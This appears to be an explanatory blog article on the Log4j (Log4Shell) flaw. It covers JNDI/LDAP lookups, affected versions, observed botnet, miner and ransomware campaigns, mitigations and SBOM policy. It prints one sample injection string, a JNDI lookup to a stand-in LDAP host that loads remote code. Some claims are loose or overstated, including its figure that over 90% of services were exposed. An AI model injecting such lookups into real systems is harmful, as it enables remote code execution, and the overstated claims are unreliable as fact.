Table of Contents[Hide][Show]
In late November 2021, we uncovered a major threat to cybersecurity. This exploit would potentially affect millions of computer systems worldwide.
This is a guide on the Log4j vulnerability and how an overlooked design flaw left over 90% of the world’s computer services open to attack.
Apache Log4j is an open-source Java-based logging utility developed by the Apache Software Foundation. Originally written by Ceki Gülcü in 2001, it is now part of Apache Logging Services, a project of the Apache Software Foundation.
Companies around the world use the Log4j library to enable logging on their applications. In fact, the Java library is so ubiquitous, you can find it in applications from Amazon, Microsoft, Google, and more.
The prominence of the library means that any potential flaw in the code could leave millions of computers open to hacking. On November 24th 2021, a cloud security researcher working for Alibaba discovered a terrible flaw.
The Log4j vulnerability, also known as Log4Shell, existed unnoticed since 2013. The vulnerability allowed malicious actors to run code on affected systems running Log4j. It was publicly disclosed on December 9th, 2021
Industry experts call the Log4Shell flaw the largest vulnerability in recent memory.
In the week following the publication of the vulnerability, cybersecurity teams detected millions of attacks. Some researchers even observed a rate of over one hundred attacks per minute.
How does it work?
To understand why Log4Shell is so dangerous, we need to understand what it’s capable of.
The Log4Shell vulnerability allows for arbitrary code execution, which basically means that an attacker can run any command or code on a target machine.
How does it accomplish this?
First, we need to understand what the JNDI is.
The Java Naming and Directory Interface (JNDI) is a Java service that allows Java programs to discover and look up data and resources via a name. These directory services are important because they provide an organized set of records for developers to easily reference when creating applications.
The JNDI can use various protocols to access a certain directory. One of these protocols is the Lightweight Directory Access Protocol, or LDAP.
When logging a string, Log4j performs string substitutions when they encounter expressions of the form ${prefix:name}
.
For example, Text: ${java:version}
might be logged as Text: Java version 1.8.0_65. These sorts of substitutions are commonplace.
We can also have expressions such as Text: ${jndi:ldap://example.com/file}
which uses the JNDI system to load a Java object from a URL through the LDAP protocol.
This effectively loads the data coming from that URL into the machine. Any potential hacker can host malicious code on a public URL and wait for machines using Log4j to log it.
Since the contents of log messages contain user-controlled data, hackers can insert their own JNDI references that point to LDAP servers that they control. These LDAP servers can be full of malicious Java objects which the JNDI can execute through the vulnerability.
What makes this worse is that it does not matter if the application is a server-side or a client-side application.
As long as there is a way for the logger to read the attacker’s malicious code, the application is still open to exploits.
Who is affected?
The vulnerability affects all systems and services that use APache Log4j, with versions 2.0 up to and including 2.14.1.
Several security experts advise that the vulnerability may impact a number of applications using Java.
The flaw was first discovered in the Microsoft-owned Minecraft video game. Microsoft has urged their users to upgrade their Java edition Minecraft software to prevent any risk.
Jen Easterly, the Director of Cybersecurity and Infrastructure Security Agency (CISA) says that vendors have a major responsibility to prevent end users from malicious actors exploiting this vulnerability.
“Vendors should also be communicating with their customers to ensure end-users know that their product contains this vulnerability and should prioritize software updates.”
The attacks have reportedly already begun. Symantec, a company that provides cybersecurity software, has observed a varied number of attack requests.
Here are some examples of the types of attacks that researchers have detected:
- Botnets
Botnets are a network of computers that are under the control of a single attacking party. They help perform DDoS attacks, steal data, and other scams. Researchers observed the Muhstik botnet in shell scripts downloaded from the Log4j exploit.
- XMRig Miner Trojan
XMRig is an open-source cryptocurrency miner that uses CPUs to mine the Monero token. Cybercriminals can install XMRig on people’s devices so they can use their processing power without their knowledge.
- Khonsari Ransomware
Ransomware refers to a form of malware designed to encrypt files on a computer. Attackers can then demand payment in exchange for giving access back to the encrypted files. Researchers discovered the Khonsari ransomware in Log4Shell attacks. They target Windows servers and make use of the .NET framework.
What happens next?
Experts predict it may take months or perhaps even years to fully fix the chaos brought about by the Log4J vulnerability.
This process involves updating every affected system with a patched version. Even if all these systems are patched, there’s still the looming threat of possible backdoors that hackers may have already added to the window that servers were open for attack.
Many solutions and mitigations exist to prevent applications from being exploited by this bug. The new Log4j version 2.15.0-rc1 changed various settings to mitigate this vulnerability.
All features using JNDI will be disabled by default and remote lookups have been restricted as well. Disabling the lookup feature on your Log4j setup will help decrease the risk of possible exploits.
Outside Log4j, there is still the need for a broader plan to prevent open-source exploits.
Earlier in May, the White House released an executive order which aimed to improve national cybersecurity. It included a provision for a software bill of materials (SBOM) which was essentially a formal document which contained a list of every item needed to build the application.
This includes parts such as the open source packages, dependencies, and APIs used for development. Though the idea of SBOMs are helpful for transparency, will it really help the consumer?
Upgrading dependencies may be too much of a hassle. Companies can just choose to pay any fines rather than risk wasting extra time finding alternative packages. Perhaps these SBOMs will only be useful if their scope is limited further.
Conclusion
The Log4j issue is more than just a technical problem for organizations.
Business leaders must be aware of potential risks that could occur when their servers, products, or services rely on code that they themselves do not maintain.
Relying on open-source and third party applications always comes with some amount of risk. Companies should consider working out risk mitigation strategies before new threats come to light.
Much of the web relies on open-source software maintained by thousands of volunteers worldwide.
If we want to keep the web a safe place, governments and corporations should invest in funding open source efforts and cybersecurity agencies such as CISA.
Leave a Reply